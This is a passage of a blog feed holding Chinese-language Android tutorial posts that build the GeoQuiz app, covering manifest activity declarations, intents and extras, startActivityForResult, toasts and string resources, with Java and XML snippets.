class="string">".CheatActivity"</span>></span></div><div class="line"> <span class="tag"></<span class="name">activity</span>></span></div></pre></td></tr></table></figure></p><p>这个时候<code>manifest</code>配置应该自动完成了文件中的<code>CheatActivity</code>声明。<br><img src="http://image.3001.net/images/20170925/15063232845158.png" alt=""><br>可以看到在这个<code>mainfest</code>的配置文件中包含了2个<code>activity</code>,其中默认启动的<code>Activity</code>的是:<code>QuizActivity</code> </p><h2 id="主页面添加-偷看-按钮"><a href="#主页面添加-偷看-按钮" class="headerlink" title="主页面添加 偷看 按钮"></a>主页面添加 偷看 按钮</h2><p>完善 <code>activity_quiz.xml</code>文件<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/cheat_button"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_gravity</span>=<span class="string">"bottom|center"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/cheat_button"</span> /></span></div></pre></td></tr></table></figure></p><p><strong>效果如下</strong><br><img src="http://image.3001.net/images/20170917/15056528995174.png" alt=""></p><h1 id="启动第二个-activity"><a href="#启动第二个-activity" class="headerlink" title="启动第二个 activity"></a>启动第二个 activity</h1><h2 id="添加-Cheat-偷看按钮的变量"><a href="#添加-Cheat-偷看按钮的变量" class="headerlink" title="添加 Cheat 偷看按钮的变量"></a>添加 Cheat 偷看按钮的变量</h2><p><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> Button mCheatButton;</div><div class="line"></div><div class="line">mCheatButton = (Button)findViewById(R.id.cheat_button);</div><div class="line"> mCheatButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="comment">// Start CheatActivity</span></div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><p>这里创建了<code>mCheatButton</code>这个对象,并设置了一个空的监听事件</p><h2 id="启动-activity"><a href="#启动-activity" class="headerlink" title="启动 activity"></a>启动 activity</h2><p>调用请求发送给了操作系统的<code>ActivityManager</code>。<code>ActivityManager</code>负责创建<br><code>Activity</code>实例并调用其<code>onCreate(...)</code>方法。<code>activity</code>的启动示意图如图所示:<br><img src="http://image.3001.net/images/20170917/15056531993602.png" alt=""></p><h2 id="基于-intent-的通信"><a href="#基于-intent-的通信" class="headerlink" title="基于 intent 的通信"></a>基于 intent 的通信</h2><p><code>intent</code>对象是<code>component</code>用来与操作系统通信的一种媒介工具。<code>intent</code>是一种多用途通信工具。<code>Intent</code>类提供了多个构造方法,以满足不同的使用需求。<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="title">Intent</span><span class="params">(Context packageContext, Class<?> cls)</span></span></div></pre></td></tr></table></figure></p><p><code>Class</code>类型参数告诉<code>ActivityManager</code>应该启动哪个<code>activity</code>;<code>Context</code>参数告<br>诉<code>ActivityManager</code>在哪里可以找到它,如图所示:<br><img src="http://image.3001.net/images/20170917/15056533582092.png" alt=""><br>可以看出<code>ActivityManager</code>该启动哪个<code>Activity</code>是由<code>startActivity(...)</code>这个方法中的<code>Intent</code>这个参数来决定的,这个演示图片里面这里<code>Intent</code>参数 告诉了<code>ActivityManager</code>该启动<code>CheatActivity</code>这个界面了。</p><h2 id="设置-mCheatButton-监听器"><a href="#设置-mCheatButton-监听器" class="headerlink" title="设置 mCheatButton 监听器"></a>设置 mCheatButton 监听器</h2><p>创建包含<code>CheatActivity</code>类的<code>Intent</code>实例,然后将其传<br>入<code>startActivity(Intent)</code>方法<br><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">mCheatButton = (Button) findViewById(R.id.cheat_button);</div><div class="line"> mCheatButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> Intent i = <span class="keyword">new</span> Intent(QuizActivity.<span class="keyword">this</span>, CheatActivity.class);</div><div class="line"> startActivity(i);</div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><p>在启动<code>activity</code>前,<code>ActivityManager</code>会检查确认指定的Class是否已在配置文件中声明。如<br>已完成声明,则启动<code>activity</code>,应用正常运行。反之,则抛出<code>ActivityNotFoundException</code>异常,<br>可能会导致应用崩溃。 </p><h1 id="activity-间的数据传递"><a href="#activity-间的数据传递" class="headerlink" title="activity 间的数据传递"></a>activity 间的数据传递</h1><p>现在已经有了2个<code>Activity</code>了现在看下他们之间的关系图:<br><img src="http://image.3001.net/images/20170925/15063256456259.png" alt=""><br>接下来考虑如何处理主页面跳转到偷看答案的页面之间传递的数据:<br><code>CheatActivity</code>启动后,<code>QuizActivity</code>会通知它当前问题的答案。<br>用户知道答案后,单击后退键回到<code>QuizActivity</code>,<code>CheatActivity</code>随即会被销毁。在销毁<br>前的瞬间,它会将用户<code>是否作弊</code>的数据传递给<code>QuizActivity</code>。</p><h2 id="使用-intent-extra"><a href="#使用-intent-extra" class="headerlink" title="使用 intent extra"></a>使用 intent extra</h2><p>为通知<code>CheatActivity</code>当前问题的答案,需将以下语句的返回值传递给它:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">mQuestionBank[mCurrentIndex].isAnswerTrue()</div></pre></td></tr></table></figure></p><p>该值将作为<code>extra</code>信息,附加在传入<code>startActivity(Intent)</code>方法的Intent上发送出去。<br><code>extra</code>信息可以是任意数据,它包含在<code>Intent</code>中,由启动方<code>activity</code>发送出去。<br><img src="http://image.3001.net/images/20170925/15063266591805.png" alt=""><br>在<code>CheatActivity.java</code>中,为<code>extra</code>数据信息新增键值对中的键<br><code>CheatActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CheatActivity</span> <span class="keyword">extends</span> <span class="title">AppCompatActivity</span> </span>{</div><div class="line"></div><div class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String EXTRA_ANSWER_IS_TRUE =</div><div class="line"> <span class="string">"com.sqlsec.gg.geoquiz.answer_is_true"</span>;</div><div class="line">}</div></pre></td></tr></table></figure></p><p><code>CheatActivity</code>处理<code>extra</code>信息,而在<code>newIntent(...)</code>方法中封装这些逻辑<br><code>CheatActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Intent <span class="title">newIntent</span><span class="params">(Context packageContext, <span class="keyword">boolean</span> answerIsTrue)</span> </span>{</div><div class="line"> Intent i = <span class="keyword">new</span> Intent(packageContext, CheatActivity.class);</div><div class="line"> intent.putExtra(EXTRA_ANSWER_IS_TRUE, answerIsTrue);</div><div class="line"> <span class="keyword">return</span> i;</div><div class="line">}</div></pre></td></tr></table></figure></p><p><code>boolean</code>类型的<code>answerIsTrue</code><br>以及<br><code>EXTRA_ANSWER_IS_TRUE</code>常量 放入<code>intent</code>供解析,简化了操作。</p><h2 id="用一个extra启动"><a href="#用一个extra启动" class="headerlink" title="用一个extra启动"></a>用一个extra启动</h2><p><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">mCheatButton = (Button) findViewById(R.id.cheat_button);</div><div class="line"> mCheatButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="keyword">boolean</span> answerIsTrue = mQuestionBank[mCurrentIndex].isAnswerTrue();</div><div class="line"> Intent i = CheatActivity.newIntent(QuizActivity.<span class="keyword">this</span>, answerIsTrue);</div><div class="line"> startActivity(i);</div><div class="line"> }</div><div class="line"> });</div><div class="line"> updateQuestion();</div></pre></td></tr></table></figure></p><p>这里面如果要添加多个<code>extra</code>的话,就在<code>newIntent()</code>方法中添加多个参数。<br>要从<code>extra</code>获取数据,会用到下面的方法:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">getBooleanExtra</span><span class="params">(String name, <span class="keyword">boolean</span> defaultValue)</span></span></div></pre></td></tr></table></figure></p><p>第一个参数是extra的名字。getBooleanExtra(…)方法的第二个参数是指定默认值(默认<br>答案),它在无法获得有效键值时使用。</p><h2 id="获取-extra-信息"><a href="#获取-extra-信息" class="headerlink" title="获取 extra 信息"></a>获取 extra 信息</h2><p>下面是编码实现从<code>extra</code>获取信息,存入成员变量。<br><code>CheatActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CheatActivity</span> <span class="keyword">extends</span> <span class="title">AppCompatActivity</span> </span>{</div><div class="line"></div><div class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String EXTRA_ANSWER_IS_TRUE =</div><div class="line"> <span class="string">"com.sqlsec.gg.geoquiz.answer_is_true"</span>;</div><div class="line"> <span class="keyword">private</span> <span class="keyword">boolean</span> mAnswerIsTrue;</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">onCreate</span><span class="params">(Bundle savedInstanceState)</span> </span>{</div><div class="line"> <span class="keyword">super</span>.onCreate(savedInstanceState);</div><div class="line"> setContentView(R.layout.activity_cheat);</div><div class="line"> mAnswerIsTrue = getIntent().getBooleanExtra(EXTRA_ANSWER_IS_TRUE, <span class="keyword">false</span>);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><h2 id="启用作弊模式"><a href="#启用作弊模式" class="headerlink" title="启用作弊模式"></a>启用作弊模式</h2><p>在<code>CheatActivity.java</code>代码中,单击<code>SHOW ANSWER</code>按钮后获取到答案并将这个结果显示在<code>TextView</code>上面。<br><code>CheatActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> TextView mAnswerTextView;</div><div class="line"><span class="keyword">private</span> Button mShowAnswer;</div><div class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">onCreate</span><span class="params">(Bundle savedInstanceState)</span> </span>{</div><div class="line"> <span class="keyword">super</span>.onCreate(savedInstanceState);</div><div class="line"> setContentView(R.layout.activity_cheat);</div><div class="line"> mAnswerIsTrue = getIntent().getBooleanExtra(EXTRA_ANSWER_IS_TRUE, <span class="keyword">false</span>);</div><div class="line"> mAnswerTextView = (TextView) findViewById(R.id.answer_text_view);</div><div class="line"> mShowAnswerButton = (Button) findViewById(R.id.show_answer_button);</div><div class="line"> mShowAnswerButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="keyword">if</span> (mAnswerIsTrue) {</div><div class="line"> mAnswerTextView.setText(R.string.true_button);</div><div class="line"> } <span class="keyword">else</span> {</div><div class="line"> mAnswerTextView.setText(R.string.false_button);</div><div class="line"> }</div><div class="line"> setAnswerShownResult(<span class="keyword">true</span>);</div><div class="line"> }</div><div class="line"> });</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>这里面的<code>mAnswerTextView.setText(R.string.true_button);</code>方法使用了<code>TextView.setText(int)</code>方法用来设置<code>TextView</code>要显示的文字,这里是通过资源ID来调试该方法的。</p><h2 id="从-activity-获取返回结果"><a href="#从-activity-获取返回结果" class="headerlink" title="从 activity 获取返回结果"></a>从 activity 获取返回结果</h2><p>现在的需求是当用用户偷看过答案后将用户是否偷看过答案的情况通知给<code>QuizActivity</code>。下面来解决这个问题。<br>在<code>QuizActivity.java</code>中调用<code>startActivityForResult()</code>方法<br><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">int</span> REQUEST_CODE_CHEAT = <span class="number">0</span>;</div><div class="line"></div><div class="line"> mCheatButton = (Button) findViewById(R.id.cheat_button);</div><div class="line"> mCheatButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="keyword">boolean</span> answerIsTrue = mQuestionBank[mCurrentIndex].isAnswerTrue();</div><div class="line"> Intent intent = CheatActivity.newIntent(QuizActivity.<span class="keyword">this</span>, answerIsTrue);</div><div class="line"> <span class="comment">/*startActivity(intent);*/</span></div><div class="line"> startActivityForResult(intent, REQUEST_CODE_CHEAT);</div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><p><code>mCheatButton</code>这个按钮的监听器由<code>startActivity(intent)</code>变为了<code>startActivityForResult(intent,REQUEST_CODE_CHEAT)</code>;<br>现在为<code>extra</code>增加常量,再创建一个私有方法,用来创建<code>intent</code>,附加<code>extra</code>并设置结果值。然后在<code>SHOW ANSWER</code>按钮的监听器代码中调用该方法,设置结果值的方法如下:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String EXTRA_ANSWER_SHOWN =</div><div class="line"> <span class="string">"com.sqlsec.gg.geoquiz.answer_shown"</span>;</div><div class="line"> mShowAnswerButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="keyword">if</span> (mAnswerIsTrue) {</div><div class="line"> mAnswerTextView.setText(R.string.true_button);</div><div class="line"> } <span class="keyword">else</span> {</div><div class="line"> mAnswerTextView.setText(R.string.false_button);</div><div class="line"> }</div><div class="line"> setAnswerShownResult(<span class="keyword">true</span>);</div><div class="line"> }</div><div class="line"> });</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">setAnswerShownResult</span><span class="params">(<span class="keyword">boolean</span> isAnswerShown)</span> </span>{</div><div class="line"> Intent data = <span class="keyword">new</span> Intent();</div><div class="line"> data.putExtra(EXTRA_ANSWER_SHOWN, isAnswerShown);</div><div class="line"> setResult(RESULT_OK, data);</div><div class="line">}</div></pre></td></tr></table></figure></p><p>新增一个成员变量保持<code>CheatActivity</code>回传的值,然后覆盖<code>onActivityResult()</code>方法获取它。<br><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">boolean</span> mIsCheater;</div><div class="line"><span class="meta">@Override</span></div><div class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">onActivityResult</span><span class="params">(<span class="keyword">int</span> requestCode, <span class="keyword">int</span> resultCode, Intent data)</span> </span>{</div><div class="line"> <span class="keyword">if</span> (resultCode != Activity.RESULT_OK) {</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="keyword">if</span> (requestCode == REQUEST_CODE_CHEAT) {</div><div class="line"> <span class="keyword">if</span> (data == <span class="keyword">null</span>) {</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"> mIsCheater = CheatActivity.wasAnswerShown(data);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><h1 id="后期的调整"><a href="#后期的调整" class="headerlink" title="后期的调整"></a>后期的调整</h1><h2 id="toast-消息处理"><a href="#toast-消息处理" class="headerlink" title="toast 消息处理"></a>toast 消息处理</h2><p>现在已经可以基于<code>mIsCheater</code>变量的值了,现在得改变之前<code>toast</code>的值信息:<br><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> messageResId = <span class="number">0</span>;</div><div class="line"></div><div class="line"> <span class="keyword">if</span> (mIsCheater) {</div><div class="line"> messageResId = R.string.judgement_toast;</div><div class="line"> } <span class="keyword">else</span> {</div><div class="line"> <span class="keyword">if</span> (userPressTrue == answerIsTrue) {</div><div class="line"> messageResId = R.string.correct_toast;</div><div class="line"> } <span class="keyword">else</span> {</div><div class="line"> messageResId = R.string.incorrect_toast;</div><div class="line"> }</div><div class="line"> }</div><div class="line"></div><div class="line"> Toast.makeText(<span class="keyword">this</span>,messageResId,Toast.LENGTH_SHORT).show();</div><div class="line"></div><div class="line"> ...</div><div class="line"></div><div class="line"> mNextButton = (Button) findViewById(R.id.next_button);</div><div class="line"> mNextButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener(){</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span></span>{</div><div class="line"> mCurrentIndex = (mCurrentIndex + <span class="number">1</span>) % mQuestionBank.length;</div><div class="line"> <span class="comment">/*int question = mQuestionBank[mCurrentIndex].getTextResId();</span></div><div class="line"><span class="comment"> mQuestionTextView.setText(question);*/</span></div><div class="line"> mIsCheater = <span class="keyword">false</span>;</div><div class="line"> updateQuestion();</div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><h2 id="activity-的管理"><a href="#activity-的管理" class="headerlink" title="activity 的管理"></a>activity 的管理</h2><p><code>ActivityManager</code>维护着一个非特定应用独享的回退栈,所有的应用的<code>activity</code>都共享这个回退栈,包括安卓的启动器,这也就是为什么<code>ActivityManager</code>被设计成操作系统级的<code>activity</code>管理器来负责启动应用<code>activity</code>的原因之一。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170929/15066771056239.png" alt=""><br>记录了不同的activity的数据传递以及界面的切换<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
</entry>
<entry>
<title>一个简易的APP</title>
<link href="http://www.sqlsec.com/2017/09/android1.html"/>
<id>http://www.sqlsec.com/2017/09/android1.html</id>
<published>2017-09-14T01:35:27.000Z</published>
<updated>2017-09-30T03:56:42.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170914/15053533895859.png" alt=""><br>记录了第一个简易app开发中遇到的知识点,以及一些自己对代码的理解<br><a id="more"></a></p><h1 id="APP-预览"><a href="#APP-预览" class="headerlink" title="APP 预览"></a>APP 预览</h1><p>首先这一次我们要做一个类似于问卷的app:<br><img src="http://image.3001.net/images/20170911/15051189668810.png" alt=""> </p><h1 id="字符串资源-strings-xml"><a href="#字符串资源-strings-xml" class="headerlink" title="字符串资源 strings.xml"></a>字符串资源 strings.xml</h1><p>每个项目都包含一个名为strings.xml的默认字符串文件。<br>在项目的<code>app/res/values</code>目录下,<code>strings.xml</code>文件用户统一保存整个项目的字符串资源,然后方便我们查阅管理。</p><h2 id="引用字符串资源"><a href="#引用字符串资源" class="headerlink" title="引用字符串资源"></a>引用字符串资源</h2><p><code>strings.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">resources</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"app_name"</span>></span>GeoQuiz<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"true_button"</span>></span>TRUE<span class="tag"></<span class="name">string</span>></span></div><div class="line"><span class="tag"></<span class="name">resources</span></span></div></pre></td></tr></table></figure></p><p>在具体的布局界面中引用字符串资源<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">LinearLayoutxmlns:android="http:</span>//<span class="attr">schemas.android.com</span>/<span class="attr">apk</span>/<span class="attr">res</span>/<span class="attr">android</span>"></span></div><div class="line"><span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/true_button"</span> /></span> </div><div class="line"><span class="tag"></<span class="name">LinearLayout</span>></span></div></pre></td></tr></table></figure></p><p>这里这个布局中具体定义的<code>Button</code>这个组件通过<code>android:text="@string/true_button"</code>就成功的调用了<code>strings.xml</code>文件中的<code>TRUE</code>,拿到了<code>TRUE</code>这个值。</p><h1 id="设置事件监听器"><a href="#设置事件监听器" class="headerlink" title="设置事件监听器"></a>设置事件监听器</h1><h2 id="添加组件成员变量"><a href="#添加组件成员变量" class="headerlink" title="添加组件成员变量"></a>添加组件成员变量</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> android.widget.Button; </div><div class="line"><span class="keyword">private</span> Button mTrueButton;</div></pre></td></tr></table></figure><h2 id="引用组件"><a href="#引用组件" class="headerlink" title="引用组件"></a>引用组件</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">mTrueButton = (Button) findViewById(R.id.true_button);</div></pre></td></tr></table></figure><p>这里先使用按钮的资源ID获取生成的对象,然后再进行<code>Button</code>类型的转换:<code>(Button) findViewById(R.id.true_button)</code> </p><h2 id="设置监听器"><a href="#设置监听器" class="headerlink" title="设置监听器"></a>设置监听器</h2><p>监听器通俗的来说就是用户单击这个按钮出发的响应事件,需要实现<code>View.OnClickListener</code>接口<br>先实现一个空的监听器事件:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">mTrueButton = (Button) findViewById(R.id.true_button);</div><div class="line"> mTrueButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> <span class="comment">//空的事件 这里暂时没有任何事件</span></div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><p>传入<code>setOnClickListener(OnClickListener)</code>方法的<code>参数</code>是一个监听器。该参数是<br>一个实现了<code>OnClickListener</code>接口的对象。 </p><h1 id="创建提示消息"><a href="#创建提示消息" class="headerlink" title="创建提示消息"></a>创建提示消息</h1><p>弹出我们称为<code>toast</code>的提示消息。Android的<code>toast</code><br>是用来通知用户的<code>简短弹出消息</code>,用户无需输入或进行任何操作。</p><h2 id="strings-xml文件完善"><a href="#strings-xml文件完善" class="headerlink" title="strings.xml文件完善"></a>strings.xml文件完善</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"correct_toast"</span>></span>Correct!<span class="tag"></<span class="name">string</span>></span></div><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"incorrect_toast"</span>></span>Incorrect!<span class="tag"></<span class="name">string</span>></span></div></pre></td></tr></table></figure><h2 id="调用成makeText-创建提示消息"><a href="#调用成makeText-创建提示消息" class="headerlink" title="调用成makeText 创建提示消息"></a>调用成makeText 创建提示消息</h2><p>这里面弹出的<code>toast</code>消息其实也就是完善了上面的按钮监听事件<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">mTrueButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> Toast.makeText(QuizActivity.<span class="keyword">this</span>,R.string.correct_toast,Toast.LENGTH_SHORT).show();</div><div class="line"> }</div><div class="line">});</div></pre></td></tr></table></figure></p><p>这里的话,当用户点击这个<code>mTrueButton</code>按钮就会触发<code>.makeText(QuizActivity.this,R.string.correct_toast,Toast.LENGTH_SHORT).show()</code>这里就会调用<code>correct_toast</code>弹出<code>strings.xml</code>里面对应的<code>Correct!</code>消息。</p><h1 id="创建新的问题类"><a href="#创建新的问题类" class="headerlink" title="创建新的问题类"></a>创建新的问题类</h1><p>到这里我们的APP只能进行单一的问题测试,当有很多个问题的时候,按照原来的方法去写就会很麻烦,效率也不高。所以这里我们创建一个<code>Quesion.java</code>类来单独的进行问题的整理。<br><code>Question.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Question</span> </span>{</div><div class="line"> <span class="keyword">private</span> <span class="keyword">int</span> mTextResId;</div><div class="line"> <span class="keyword">private</span> <span class="keyword">boolean</span> mAnswerTrue;</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Question</span><span class="params">(<span class="keyword">int</span> textResId, <span class="keyword">boolean</span> answerTrue)</span> </span>{</div><div class="line"> mTextResId = textResId;</div><div class="line"> mAnswerTrue = 